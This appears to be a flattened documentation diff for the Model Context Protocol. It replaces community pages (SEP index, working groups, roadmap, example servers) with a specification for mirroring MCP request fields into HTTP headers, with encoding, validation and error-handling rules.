------------ | ----------------------------- | ------------------------------------------------------ | +| `Mcp-Method` | `method` | All requests and notifications | +| `Mcp-Name` | `params.name` or `params.uri` | `tools/call`, `resources/read`, `prompts/get` requests | - - Learn how to submit your own Specification Enhancement Proposal - +These headers are **required** for compliance with the MCP version in which they are introduced. -## Summary +**Server Behavior**: Servers that process the request body MUST reject requests where the values specified in the headers do not match the values in the request body. -* **Final**: 23 +> **Rationale**: This requirement prevents potential security vulnerabilities and error conditions that could arise when different components in the network rely on different sources of truth. For example, a load balancer or gateway might use the header values to make routing decisions, while the MCP server uses the body values for execution. This requirement applies to any network intermediary that processes the message body, as well as the MCP server itself. -## All SEPs +**Case Sensitivity**: Header names (called "field names" in [RFC 9110](https://datatracker.ietf.org/doc/html/rfc9110#name-field-names)) are case-insensitive. Clients and servers MUST use case-insensitive comparisons for header names. -| SEP | Title | Status | Type | Created | -| ----------------------------------------------------------------------------------- | ----------------------------------------------------------------------------- | -------------------- | --------------- | ---------- | -| [SEP-2133](/community/seps/2133-extensions) | Extensions | Final | Standards Track | 2025-01-21 | -| [SEP-2085](/community/seps/2085-governance-succession-and-amendment) | Governance Succession and Amendment Procedures | Final | Process | 2025-12-05 | -| [SEP-1850](/community/seps/1850-pr-based-sep-workflow) | PR-Based SEP Workflow | Final | Process | 2025-11-20 | -| [SEP-1730](/community/seps/1730-sdks-tiering-system) | SDKs Tiering System | Final | Standards Track | 2025-10-29 | -| [SEP-1699](/community/seps/1699-support-sse-polling-via-server-side-disconnect) | Support SSE polling via server-side disconnect | Final | Standards Track | 2025-10-22 | -| [SEP-1686](/community/seps/1686-tasks) | Tasks | Final | Standards Track | 2025-10-20 | -| [SEP-1613](/community/seps/1613-establish-json-schema-2020-12-as-default-dialect-f) | Establish JSON Schema 2020-12 as Default Dialect for MCP | Final | Standards Track | 2025-10-06 | -| [SEP-1577](/community/seps/1577--sampling-with-tools) | Sampling With Tools | Final | Standards Track | 2025-09-30 | -| [SEP-1330](/community/seps/1330-elicitation-enum-schema-improvements-and-standards) | Elicitation Enum Schema Improvements and Standards Compliance | Final | Standards Track | 2025-08-11 | -| [SEP-1319](/community/seps/1319-decouple-request-payload-from-rpc-methods-definiti) | Decouple Request Payload from RPC Methods Definition | Final | Standards Track | 2025-08-08 | -| [SEP-1303](/community/seps/1303-input-validation-errors-as-tool-execution-errors) | Input Validation Errors as Tool Execution Errors | Final | Standards Track | 2025-08-05 | -| [SEP-1302](/community/seps/1302-formalize-working-groups-and-interest-groups-in-mc) | Formalize Working Groups and Interest Groups in MCP Governance | Final | Standards Track | 2025-08-05 | -| [SEP-1046](/community/seps/1046-support-oauth-client-credentials-flow-in-authoriza) | Support OAuth client credentials flow in authorization | Final | Standards Track | 2025-07-23 | -| [SEP-1036](/community/seps/1036-url-mode-elicitation-for-secure-out-of-band-intera) | URL Mode Elicitation for secure out-of-band interactions | Final | Standards Track | 2025-07-22 | -| [SEP-1034](/community/seps/1034--support-default-values-for-all-primitive-types-in) | Support default values for all primitive types in elicitation schemas | Final | Standards Track | 2025-07-22 | -| [SEP-1024](/community/seps/1024-mcp-client-security-requirements-for-local-server-) | MCP Client Security Requirements for Local Server Installation | Final | Standards Track | 2025-07-22 | -| [SEP-994](/community/seps/994-shared-communication-practicesguidelines) | Shared Communication Practices/Guidelines | Final | Process | 2025-07-17 | -| [SEP-991](/community/seps/991-enable-url-based-client-registration-using-oauth-c) | Enable URL-based Client Registration using OAuth Client ID Metadata Documents | Final | Standards Track | 2025-07-07 | -| [SEP-990](/community/seps/990-enable-enterprise-idp-policy-controls-during-mcp-o) | Enable enterprise IdP policy controls during MCP OAuth flows | Final | Standards Track | 2025-06-04 | -| [SEP-986](/community/seps/986-specify-format-for-tool-names) | Specify Format for Tool Names | Final | Standards Track | 2025-07-16 | -| [SEP-985](/community/seps/985-align-oauth-20-protected-resource-metadata-with-rf) | Align OAuth 2.0 Protected Resource Metadata with RFC 9728 | Final | Standards Track | 2025-07-16 | -| [SEP-973](/community/seps/973-expose-additional-metadata-for-implementations-res) | Expose additional metadata for Implementations, Resources, Tools and Prompts | Final | Standards Track | 2025-07-15 | -| [SEP-932](/community/seps/932-model-context-protocol-governance) | Model Context Protocol Governance | Final | Process | 2025-07-08 | +#### Example: tools/call Request -## SEP Status Definitions +```http theme={null} +POST /mcp HTTP/1.1 +Content-Type: application/json +Mcp-Session-Id: 1f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c +Mcp-Method: tools/call +Mcp-Name: get_weather -* Draft - SEP proposal with a sponsor, undergoing - informal review -* In-Review - SEP proposal ready for formal review - by Core Maintainers -* Accepted - SEP accepted, awaiting reference - implementation -* Final - SEP finalized with reference - implementation complete -* Rejected - SEP rejected by Core Maintainers -* Withdrawn - SEP withdrawn by the author -* Superseded - SEP replaced by a newer SEP -* Dormant - SEP without a sponsor, closed after 6 - months +{ + "jsonrpc": "2.0", + "id": 1, + "method": "tools/call", + "params": { + "name": "get_weather", + "arguments": { + "location": "Seattle, WA" + } + } +} +``` +#### Example: resources/read Request -# Working and Interest Groups -Source: https://modelcontextprotocol.io/community/working-interest-groups +```http theme={null} +POST /mcp HTTP/1.1 +Content-Type: application/json +Mcp-Session-Id: 1f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c +Mcp-Method: resources/read +Mcp-Name: file:///projects/myapp/config.json -Learn about the two forms of collaborative groups within the Model Context Protocol's governance structure - Working Groups and Interest Groups. +{ + "jsonrpc": "2.0", + "id": 2, + "method": "resources/read", + "params": { + "uri": "file:///projects/myapp/config.json" + } +} +``` -Within the MCP contributor community we maintain two types of collaboration formats - **Interest** and **Working** groups. +#### Example: prompts/get Request -**Interest Groups** are responsible for identifying and articulating problems that MCP should address, primarily by facilitating open discussions within the community. In contrast, **Working Groups** focus on developing concrete solutions by collaboratively producing deliverables, such as SEPs or community-owned implementations of the specification. +```http theme={null} +POST /mcp HTTP/1.1 +Content-Type: application/json +Mcp-Session-Id: 1f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c +Mcp-Method: prompts/get +Mcp-Name: code_review -While input from Interest Groups can help justify the formation of a Working Group, it is not a strict requirement. Similarly, contributions from either Interest Groups or Working Groups are encouraged, but not mandatory, when submitting SEPs or other community proposals. +{ + "jsonrpc": "2.0", + "id": 3, + "method": "prompts/get", + "params": { + "name": "code_review", + "arguments": { + "language": "python" + } + } +} +``` -We strongly encourage all contributors interested in working on a specific SEP to first collaborate within an Interest Group. This collaborative process helps ensure that the proposed SEP aligns with community needs and is the right direction for the protocol. +#### Example: Other Request Methods -Long-term projects in the MCP ecosystem, such as SDKs, Inspector, or Registry are maintained by dedicated Working Groups. +For requests that don't involve tools, resources, or prompts, only the `Mcp-Method` header is required: -## Purpose +```http theme={null} +POST /mcp HTTP/1.1 +Content-Type: application/json +Mcp-Method: initialize -These groups exist to: +{ + "jsonrpc": "2.0", + "id": 4, + "method": "initialize", + "params": { + "protocolVersion": "2025-06-18", + "capabilities": {}, + "clientInfo": { + "name": "ExampleClient", + "version": "1.0.0" + } + } +} +``` -* **Facilitate high-signal spaces for focused discussions** - contributors who opt into notifications, expertise sharing, and regular meetings can engage with topics that are highly relevant to them, enabling meaningful contributions and opportunities to learn from others. -* **Establish clear expectations and leadership roles** - guide collaborative efforts and ensure steady progress toward concrete deliverables that advance MCP evolution and adoption. +#### Example: Notification -## Mechanisms +Notifications also require the `Mcp-Method` header: -## Meeting Calendar +```http theme={null} +POST /mcp HTTP/1.1 +Content-Type: application/json +Mcp-Session-Id: 1f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c +Mcp-Method: notifications/initialized -All Interest Group and Working Group meetings are published on the public MCP community calendar at [meet.modelcontextprotocol.io](https://meet.modelcontextprotocol.io/). +{ + "jsonrpc": "2.0", + "method": "notifications/initialized" +} +``` -Facilitators are responsible for posting their meeting schedules to this calendar in advance to ensure discoverability and enable broader community participation. +### Custom Headers from Tool Parameters -### Interest Groups (IGs) +MCP servers MAY designate specific tool parameters to be mirrored into HTTP headers using an `x-mcp-header` extension property in the parameter's schema within the tool's `inputSchema`. -**Goal:** Facilitate discussion and knowledge-sharing among MCP contributors who share interests in a specific MCP sub-topic or context. The primary focus is on identifying and gathering problems that may be worth addressing through SEPs or other community artifacts, while encouraging open exploration of protocol issues and opportunities. +**Client Requirement**: While the use of `x-mcp-header` is optional for servers, clients MUST support this feature. When a server's tool definition includes `x-mcp-header` annotations, conforming clients MUST mirror the designated parameter values into HTTP headers as specified in this document. -**Expectations**: +#### Schema Extension -* Regular conversations in the Interest Group Discord channel -* **AND/OR** a recurring live meeting regularly attended by Interest Group members -* Meeting dates and times published in advance on the [MCP community calendar](https://meet.modelcontextprotocol.io/) when applicable, and tagged with their primary topic and interest group Discord channel name (e.g. `auth-ig`) -* Notes publicly shared after meetings, as a GitHub issue ([example](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1629)) and/or public Google Doc +The `x-mcp-header` property specifies the name portion used to construct the header name `Mcp-Param-{name}`. -**Examples**: +**Constraints on `x-mcp-header` values**: -* Security in MCP -* Auth in MCP -* Using MCP in enterprise settings -* Tooling and practices surrounding hosting MCP servers -* Tooling and practices surrounding implementing MCP clients +* MUST NOT be empty +* MUST contain only ASCII characters (excluding space and `:`) +* MUST be case-insensitively unique among all `x-mcp-header` values in the `inputSchema` +* MUST only be applied to parameters with primitive types (number, string, boolean) -**Lifecycle**: +Clients MUST reject tool definitions where any `x-mcp-header` value violates these constraints. Rejection means the client MUST exclude the invalid tool from the result of `tools/list`. Clients SHOULD log a warning when rejecting a tool definition, including the tool name and the reason for rejection. This behavior ensures that a single malformed tool definition does not prevent other valid tools from being used. -* Creation begins by filling out a template in the #wg-ig-group-creation [Discord](/community/communication#discord) channel -* A community moderator will review and call for a vote in the (private) #community-moderators Discord channel. Majority positive vote by members over a 72h period approves creation of the group. - * The creation of the group can be reversed at any time (e.g., after new information surfaces). Core and lead maintainers can veto. -* Facilitator(s) and Maintainer(s) responsible for organizing IG into meeting expectations - * Facilitator is an informal role responsible for shepherding or speaking for a group - * Maintainer is an official representative from the MCP steering group. A maintainer is not required for every group, but can help advocate for specific changes or initiatives. -* IG is retired only when community moderators or Core or Lead Maintainers determine it's no longer active and/or needed - * Successful IGs do not have a time limit or expiration date - as long as they are active and maintained, they will remain available +**Example Tool Definition**: -**Creation Template**: +```json theme={null} +{ + "name": "execute_sql", + "description": "Execute SQL on Google Cloud Spanner", + "inputSchema": { + "type": "object", + "properties": { + "region": { + "type": "string", + "description": "The region to execute the query in", + "x-mcp-header": "Region" + }, + "query": { + "type": "string", + "description": "The SQL query to execute" + } + }, + "required": ["region", "query"] + } +} +``` -* Facilitator(s) -* Maintainer(s) (optional) -* IGs with potentially similar goals/discussions -* How this IG differentiates itself from the related IGs -* First topic you to discuss within the IG +#### Example: Geo-Distributed Database -Participation in an Interest Group (IG) is not required to start a Working Group (WG) or to create a SEP. However, building consensus within IGs can be valuable when justifying the formation of a WG. Likewise, referencing support from IGs or WGs can strengthen a SEP and its chances of success. +Consider a server exposing an `execute_sql` tool for Google Cloud Spanner, which requires a `region` parameter. -### Working Groups (WG) +**Tool Definition**: -**Goal:** Facilitate collaboration within the MCP community on a SEP, a themed series of SEPs, or an otherwise officially endorsed project. +```json theme={null} +{ + "name": "execute_sql", + "description": "Execute SQL on Google Cloud Spanner", + "inputSchema": { + "type": "object", + "properties": { + "region": { + "type": "string", + "description": "The region to execute the query in", + "x-mcp-header": "Region" + }, + "query": { + "type": "string", + "description": "The SQL query to execute" + } + }, + "required": ["region", "query"] + } +} +``` -**Expectations**: +**Scenario**: A client requests to execute SQL in `us-west1`. -* Meaningful progress towards at least one SEP or spec-related implementation **OR** hold maintenance responsibilities for a project (e.g., Inspector, Registry, SDKs) -* Facilitators are responsible for keeping track of progress and communicating status when appropriate -* Meeting dates and times published in advance on the [MCP community calendar](https://meet.modelcontextprotocol.io/) when applicable, and tagged with their primary topic and working group Discord channel name (e.g. `agents-wg`) -* Notes publicly shared after meetings, as a GitHub issue ([example](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1629)) and/or public Google Doc +**Current Friction**: The global load balancer receives the request but must terminate TLS and parse the entire JSON body to find `"region": "us-west1"` before it knows whether to route the packet to the Oregon or Belgium cluster. -**Examples**: +**With This Proposal**: The client detects the `x-mcp-header` annotation and automatically adds the header `Mcp-Param-Region: us-west1` to the HTTP request. The load balancer can now route based on the header without parsing the body. -* Registry -* Inspector -* Tool Filtering -* Server Identity +**Request**: -**Lifecycle**: +```http theme={null} +POST /mcp HTTP/1.1 +Content-Type: application/json +Mcp-Session-Id: 1f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c +Mcp-Method: tools/call +Mcp-Name: execute_sql +Mcp-Param-Region: us-west1 -* Creation begins by filling out a template in #wg-ig-group-creation Discord channel -* A community moderator will review and call for a vote in the (private) #community-moderators Discord channel. Majority positive vote by members over a 72h period approves creation of the group. - * The creation of the group can be reversed at any time (e.g., after new information surfaces). Core and lead maintainers can veto. -* Facilitator(s) and Maintainer(s) responsible for organizing WG into meeting expectations - * Facilitator is an informal role responsible for shepherding or speaking for a group - * Maintainer is an official representative from the MCP steering group. A maintainer is not required for every group, but can help advocate for specific changes or initiatives -* WG is retired when either: - * Community moderators or Core and Lead Maintainers decide it is no longer active and/or needed - * The WG no longer has an active Issue/PR for a month or more, or has completed all Issues/PRs it intended to pursue. +{ + "jsonrpc": "2.0", + "id": 1, + "method": "tools/call", + "params": { + "name": "execute_sql", + "arguments": { + "region": "us-west1", + "query": "SELECT * FROM users" + } + } +} +``` -**Creation Template**: +#### Example: Multi-Tenant SaaS Application -* Facilitator(s) -* Maintainer(s) (optional) -* Explanation of interest/use cases, ideally originating from an IG discussion; however that is not a requirement -* First Issue/PR/SEP that the WG will work on +A SaaS platform exposes tools that operate on different customer tenants. By exposing the tenant ID in a header, the platform can route requests to tenant-specific infrastructure. -## WG/IG Facilitators +**Tool Definition**: -A **Facilitator** role in a WG or IG does *not* result in a [maintainership role](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md) across the MCP organization. It is an informal role into which anyone can self-nominate. +```json theme={null} +{ + "name": "query_analytics", + "description": "Query analytics data for a tenant", + "inputSchema": { + "type": "object", + "properties": { + "tenant_id": { + "type": "string", + "description": "The tenant identifier", + "x-mcp-header": "TenantId" + }, + "metric": { + "type": "string", + "description": "The metric to query" + }, + "start_date": { + "type": "string", + "description": "Start date for the query range" + }, + "end_date": { + "type": "string", + "description": "End date for the query range" + } + }, + "required": ["tenant_id", "metric", "start_date", "end_date"] + } +} +``` -A Facilitator is responsible for helping shepherd discussions and collaboration within an Interest or Working Group. +**Request**: -Lead and Core Maintainers reserve the right to modify the list of Facilitators and Maintainers for any WG/IG at any time. +```http theme={null} +POST /mcp HTTP/1.1 +Content-Type: application/json +Mcp-Session-Id: 1f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c +Mcp-Method: tools/call +Mcp-Name: query_analytics +Mcp-Param-TenantId: acme-corp -## FAQ +{ + "jsonrpc": "2.0", + "id": 5, + "method": "tools/call", + "params": { + "name": "query_analytics", + "arguments": { + "tenant_id": "acme-corp", + "metric": "page_views", + "start_date": "2026-01-01", + "end_date": "2026-01-31" + } + } +} +``` -### How do I get involved contributing to MCP? +#### Example: Priority-Based Request Handling -These IG and WG abstractions help provide an elegant on-ramp: +A server can expose a priority parameter to allow infrastructure to prioritize certain requests. -1. [Join the Discord](/community/communication#discord) and follow conversations in IGs relevant to you. Attend [live calls](https://meet.modelcontextprotocol.io/). Participate. -2. Offer to facilitate calls. Contribute your use cases in SEP proposals and other work. -3. When you're comfortable contributing to deliverables, jump in to contribute to WG work. -4. Active and valuable contributors will be nominated by WG maintainers as new maintainers. +**Tool Definition**: -### Where can I find a list of all current WGs and IGs? +```json theme={null} +{ + "name": "generate_report", + "description": "Generate a complex report", + "inputSchema": { + "type": "object", + "properties": { + "report_type": { + "type": "string", + "description": "Type of report to generate" + }, + "priority": { + "type": "string", + "description": "Request priority: low, normal, or high", + "x-mcp-header": "Priority" + } + }, + "required": ["report_type"] + } +} +``` -On the [MCP Contributor Discord](/community/communication#discord) there is a section of channels for each Working and Interest Group. +**Request**: +```http theme={null} +POST /mcp HTTP/1.1 +Content-Type: application/json +Mcp-Session-Id: 1f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c +Mcp-Method: tools/call +Mcp-Name: generate_report +Mcp-Param-Priority: high -# Roadmap -Source: https://modelcontextprotocol.io/development/roadmap +{ + "jsonrpc": "2.0", + "id": 6, + "method": "tools/call", + "params": { + "name": "generate_report", + "arguments": { + "report_type": "quarterly_summary", + "priority": "high" + } + } +} +``` -Our plans for evolving Model Context Protocol +### Header Processing -Last updated: **2025-10-31** +#### Value Encoding -The Model Context Protocol is rapidly evolving. This page outlines our priorities for **the next release on November 25th, 2025**, with a release candidate available on November 11th, 2025. To see what's changing in the upcoming release, check out the **[specification changelog](/specification/draft/changelog/)**. +Clients MUST encode parameter values before including them in HTTP headers to ensure safe transmission and prevent injection attacks. -For more context on our release timeline and governance process, read our [blog post on the next version update](https://blog.modelcontextprotocol.io/posts/2025-09-26-mcp-next-version-update/). +**Character Restrictions** - - The ideas presented here are not commitments—we may solve these challenges differently than described, or some may not materialize at all. This is also not an *exhaustive* list; we may incorporate work that isn't mentioned here. - +Per [RFC 9110](https://datatracker.ietf.org/doc/html/rfc9110#name-field-values), HTTP header field values must consist of visible ASCII characters (0x21-0x7E), space (0x20), and horizontal tab (0x09). The following characters are explicitly prohibited: -We value community participation! Each section links to relevant discussions where you can learn more and contribute your thoughts. +* Carriage return (`\r`, 0x0D) +* Line feed (`\n`, 0x0A) +* Null character (`\0`, 0x00) +* Any character outside the ASCII range (> 0x7F) -For a technical view of our standardization process, visit the [Standards Track](https://github.com/orgs/modelcontextprotocol/projects/2/views/2) on GitHub, which tracks how proposals progress toward inclusion in the official [MCP specification](https://modelcontextprotocol.io/specification/). +**Whitespace Handling** -## Priority Areas for the Next Release +HTTP parsers typically trim leading and trailing whitespace from header values. To preserve leading and trailing spaces in parameter values, clients MUST use Base64 encoding when the value: -### Asynchronous Operations +* Starts with a space (0x20) or horizontal tab (0x09) +* Ends with a space (0x20) or horizontal tab (0x09) -Currently, MCP is built around mostly synchronous operations. We're adding async support to allow servers to kick off long-running tasks while clients can check back later for results. This will enable operations that take minutes or hours without blocking. +**Encoding Rules** -Follow the progress in [SEP-1686](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1686). +Clients MUST apply the following encoding rules in order: -### Statelessness and Scalability +1. **Type conversion**: Convert the parameter value to its string representation: + * `string`: Use the value as-is + * `number`: Convert to decimal string representation (e.g., `42`, `3.14`) + * `boolean`: Convert to lowercase `"true"` or `"false"` -As organizations deploy MCP servers at enterprise scale, we're addressing challenges around horizontal scaling. While [Streamable HTTP](https://modelcontextprotocol.io/specification/2025-03-26/basic/transports#streamable-http) provides some stateless support, we're smoothing out rough edges around server startup and session handling to make it easier to run MCP servers in production. +2. **Whitespace check**: If the string starts or ends with whitespace (space or tab): + * Apply Base64 encoding (see below) -The current focus point for this effort is [SEP-1442](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1442). +3. **ASCII validation**: Check if the string contains only valid ASCII characters (0x20-0x7E): + * If valid, proceed to step 4 + * If invalid (contains non-ASCII characters), apply Base64 encoding (see below) -### Server Identity +4. **Control character check**: If the string contains any control characters (0x00-0x1F or 0x7F): + * Apply Base64 encoding (see below) -We're enabling servers to advertise themselves through [`.well-known` URLs](https://en.wikipedia.org/wiki/Well-known_URI)—an established standard for providing metadata. This will allow clients to discover what a server can do without having to connect to it first, making discovery much more intuitive and enabling systems like our registry to automatically catalog capabilities. We are working closely across multiple projects in the industry to rely on a common standard on agent cards. +**Base64 Encoding for Unsafe Values** -### Official Extensions +When a value cannot be safely represented as a plain ASCII header value, clients MUST use Base64 encoding of the UTF-8 representation of the value with the following format: -As MCP has grown, valuable patterns have emerged for specific industries and use cases. Rather than leaving everyone to reinvent the wheel, we're officially recognizing and documenting the most popular protocol extensions. This curated collection will give developers building for specialized domains like healthcare, finance, or education a solid starting point. +```text theme={null} +Mcp-Param-{Name}: =?base64?{Base64EncodedValue}?= +``` -### SDK Support Standardization +The prefix `=?base64?` and suffix `?=` indicate that the value is Base64-encoded. Servers and intermediaries that need to inspect these values MUST decode them accordingly. -We're introducing a clear tiering system for SDKs based on factors like specification compliance speed, maintenance responsiveness, and feature completeness. This will help developers understand exactly what level of support they're getting before committing to a dependency. +**Examples**: -### MCP Registry General Availability +| Original Value | Reason | Encoded Header Value | +| ---------------- | ----------------------- | ----------------------------------------------------- | +| `"us-west1"` | Plain ASCII | `Mcp-Param-Region: us-west1` | +| `"Hello, 世界"` | Contains non-ASCII | `Mcp-Param-Greeting: =?base64?SGVsbG8sIOS4lueVjA==?=` | +| `" padded "` | Leading/trailing spaces | `Mcp-Param-Text: =?base64?IHBhZGRlZCA=?=` | +| `"line1\nline2"` | Contains newline | `Mcp-Param-Text: =?base64?bGluZTEKbGluZTI=?=` | -The [MCP Registry](https://github.com/modelcontextprotocol/registry) launched in preview in September 2025 and is progressing toward general availability. We're stabilizing the v0.1 API through real-world integrations and community feedback, with plans to transition from preview to a production-ready service. This will provide developers with a reliable, community-driven platform for discovering and sharing MCP servers. +#### Client Behavior -## Validation +When constructing a `tools/call` request via HTTP transport, the client MUST: -To foster a robust developer ecosystem, we plan to invest in: +1. Extract the values for any standard headers from the request body (e.g., `method`, `params.name`, `params.uri`) +2. Append the `Mcp-Method` header and, if applicable, `Mcp-Name` header to the request +3. Inspect the tool's `inputSchema` for properties marked with `x-mcp-header` and extract the value for each parameter +4. Encode the values according to the rules in [Value Encoding](#value-encoding) +5. Append a `Mcp-Param-{Name}: {Value}` header to the request: -* **Reference Client Implementations**: demonstrating protocol features with high-quality AI applications -* **Reference Server Implementation**: showcasing authentication patterns and remote deployment best practices -* **Compliance Test Suites**: automated verification that clients, servers, and SDKs properly implement the specification +#### Server Behavior -These tools will help developers confidently implement MCP while ensuring consistent behavior across the ecosystem. +When receiving a request, the server MUST reject requests with `Mcp-Param-{Name}` headers that contain invalid characters (see "Character Restrictions" in the [Value Encoding](#value-encoding) section). -## Get Involved +Any server that processes the message body (not simply forwarding it) MUST validate that encoded header values, after decoding if Base64-encoded, match the corresponding values in the request body. Servers MUST reject requests with a `400 Bad Request` HTTP status if any validation fails. -We welcome your contributions to MCP's future! Join our [GitHub Discussions](https://github.com/orgs/modelcontextprotocol/discussions) to share ideas, provide feedback, or participate in the development process. +**Error Code** +When rejecting a request due to header validation failure, servers MUST return a JSON-RPC error response with the following error code: -# Example Servers -Source: https://modelcontextprotocol.io/examples +| Code | Name | Description | +| -------- | ---------------- | ---------------------------------------------------------------------------------------------------------------------- | +| `-32001` | `HeaderMismatch` | The HTTP headers do not match the corresponding values in the request body, or required headers are missing/malformed. | -A list of example servers and implementations +This error code is in the JSON-RPC implementation-defined server error range (`-32000` to `-32099`). -This page showcases various Model Context Protocol (MCP) servers that demonstrate the protocol's capabilities and versatility. These servers enable Large Language Models (LLMs) to securely access tools and data sources. +**Error Response Format**: -## Reference implementations +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "error": { + "code": -32001, + "message": "Header mismatch: Mcp-Name header value 'foo' does not match body value 'bar'" + } +} +``` -These official reference servers demonstrate core MCP features and SDK usage: +**Validation Failure Conditions**: -### Current reference servers +* A required standard header (`Mcp-Method`, `Mcp-Name`, etc.) is missing +* A header value does not match the request body value +* A Base64-encoded value cannot be decoded +* A header value contains invalid characters -* **[Everything](https://github.com/modelcontextprotocol/servers/tree/main/src/everything)** - Reference / test server with prompts, resources, and tools -* **[Fetch](https://github.com/modelcontextprotocol/servers/tree/main/src/fetch)** - Web content fetching and conversion for efficient LLM usage -* **[Filesystem](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem)** - Secure file operations with configurable access controls -* **[Git](https://github.com/modelcontextprotocol/servers/tree/main/src/git)** - Tools to read, search, and manipulate Git repositories -* **[Memory](https://github.com/modelcontextprotocol/servers/tree/main/src/memory)** - Knowledge graph-based persistent memory system -* **[Sequential Thinking](https://github.com/modelcontextprotocol/servers/tree/main/src/sequentialthinking)** - Dynamic and reflective problem-solving through thought sequences -* **[Time](https://github.com/modelcontextprotocol/servers/tree/main/src/time)** - Time and timezone conversion capabilities +> **Note**: Intermediaries MUST return an appropriate HTTP error status (e.g., `400 Bad Request`) for validation failures but are not required to return a JSON-RPC error response. -### Additional example servers (archived) +**Custom Header Handling**: -Visit the [servers-archived repository](https://github.com/modelcontextprotocol/servers-archived) to get access to archived example servers that are no longer actively maintained. +Custom headers (those defined via `x-mcp-header`) follow the same validation rules as standard headers: -They are provided for historical reference only. +| Scenario | Client Behavior | Server Behavior | +| ---------------------------------------- | ------------------------------ | ---------------------------------------- | +| Parameter value provided | Client MUST include the header | Server MUST validate header matches body | +| Parameter value is `null` | Client MUST omit the header | Server MUST NOT expect the header | +| Parameter not in arguments | Client MUST omit the header | Server MUST NOT expect the header | +| Client omits header but value is in body | Non-conforming client | Server MUST reject the request | -## Official integrations +When rejecting requests due to missing or invalid custom headers, the server MUST return HTTP status `400 Bad Request` with JSON-RPC error code `-32001` (`HeaderMismatch`). -Visit the [MCP Servers Repository (Official Integrations section)](https://github.com/modelcontextprotocol/servers?tab=readme-ov-file#%EF%B8%8F-official-integrations) for a list of MCP servers maintained by companies for their platforms. +## Rationale -## Community implementations +### Headers vs Path -Visit the [MCP Servers Repository (Community section)](https://github.com/modelcontextprotocol/servers?tab=readme-ov-file#-community-servers) for a list of MCP servers maintained by community members. +This proposal mirrors request data into headers rather than encoding it in the URL path. -## Getting started +**Advantages of Headers**: -### Using reference servers +1. **Simplicity**: All widely-used network load balancers support routing based on HTTP headers +2. **Multi-version support**: Easier to support multiple MCP versions in clients and servers +3. **Compatibility**: Headers work with the existing Streamable HTTP transport design without changing the endpoint structure +4. **Unlimited values**: Header values can contain characters that would require encoding in URLs (e.g., `/`, `?`, `#`) +5. **No URL length limits**: Very long values can be transmitted without hitting URL length restrictions -TypeScript-based servers can be used directly with `npx`: +**Advantages of Path-based Routing**: -```bash theme={null} -npx -y @modelcontextprotocol/server-memory -``` +1. **Framework simplicity**: Many web frameworks (Flask, Express, Django, Rails) have built-in support for path-based routing with minimal configuration +2. **Logging**: URL paths are typically logged by default, making debugging easier -Python-based servers can be used with `uvx` (recommended) or `pip`: +**Trade-offs and Framework Considerations**: -```bash theme={null} -# Using uvx -uvx mcp-server-git +| Framework | Header-based Routing | Path-based Routing | +| ----------------- | ------------------------------------------------------------------- | ------------------------------------------------ | +| Flask (Python) | Requires middleware or decorators to extract headers before routing | Native support via `@app.route('/mcp/')` | +| Express (Node.js) | Easy via `req.headers` but requires custom routing logic | Native support via `app.post('/mcp/:method')` | +| Django (Python) | Requires custom middleware | Native URL patterns | +| Go (net/http) | Easy via `r.Header.Get()` | Native via path patterns | +| ASP.NET Core | Easy via `[FromHeader]` attribute | Native via route templates | -# Using pip -pip install mcp-server-git -python -m mcp_server_git +For frameworks like Flask that strongly favor path-based routing, implementing header-based routing requires additional code: + +```python theme={null} +# Flask example: Header-based routing requires manual dispatch +@app.route('/mcp', methods=['POST']) +def mcp_handler(): + method = request.headers.get('Mcp-Method') + if method == 'tools/call': + return handle_tools_call(request) + elif method == 'resources/read': + return handle_resources_read(request) + # ... etc ``` -### Configuring with Claude +Despite this additional complexity in some frameworks, header-based routing was chosen because: -To use an MCP server with Claude, add it to your configuration: +1. **Backwards Compatibility** introducing path based routing would require all existing MCP Servers to take a major update, and potentially support two sets of endpoints to support multiple versions. Even if the SDKs can paper over this additional operational concerns like testing, metrics, etc would need to happen. Header based routing requires minimal client side changes. And clients which don't opt in will still function correctly. -```json theme={null} -{ - "mcpServers": { - "memory": { - "command": "npx", - "args": ["-y", "@modelcontextprotocol/server-memory"] - }, - "filesystem": { - "command": "npx", - "args": [ - "-y", - "@modelcontextprotocol/server-filesystem", - "/path/to/allowed/files" - ] - }, - "github": { - "command": "npx", - "args": ["-y", "@modelcontextprotocol/server-github"], - "env": { - "GITHUB_PERSONAL_ACCESS_TOKEN": "" - } - } - } -} -``` +2. **Infrastructure benefits outweigh framework complexity**: The primary goal is enabling network infrastructure (load balancers, proxies, WAFs) to route and process requests without body parsing. This benefit applies regardless of the server framework. -## Additional resources +### Infrastructure Support -Visit the [MCP Servers Repository (Resources section)](https://github.com/modelcontextprotocol/servers?tab=readme-ov-file#-resources) for a collection of other resources and projects related to MCP. +HTTP header-based routing and processing is supported by: -Visit our [GitHub Discussions](https://github.com/orgs/modelcontextprotocol/discussions) to engage with the MCP community. +* **Load Balancers**: All major load balancers (HAProxy, NGINX, Cloudflare, F5, Envoy/Istio) +* **Rate Limiting**: 9 of 11 popular rate-limiting solutions +* **Authorization**: Kong, Tyk, AWS API Gateway, Google Cloud Apigee, Azure API Gateway, NGINX, Apache APISIX, Istio/Envoy +* **Web Application Firewalls**: Cloudflare WAF, AWS WAF, Azure WAF, F5 Advanced WAF, FortiWeb, Imperva WAF, Barracuda WAF, ModSecurity, Akamai, Wallarm +* **Observability**: Most observability solutions can extract data from HTTP headers +### Explicit Header Names in x-mcp-header -# Extensions -Source: https://modelcontextprotocol.io/extensions +The design uses an explicit name value in `x-mcp-header` rather than deriving the header name from the parameter name because: -Optional extensions to the Model Context Protocol +1. **Case sensitivity mismatch**: Header names are case-insensitive, but JSON Schema property names are case-sensitive +2. **Character set constraints**: Header names are limited to ASCII characters, but tool parameter names may contain arbitrary Unicode +3. **Simplicity**: No complex scheme 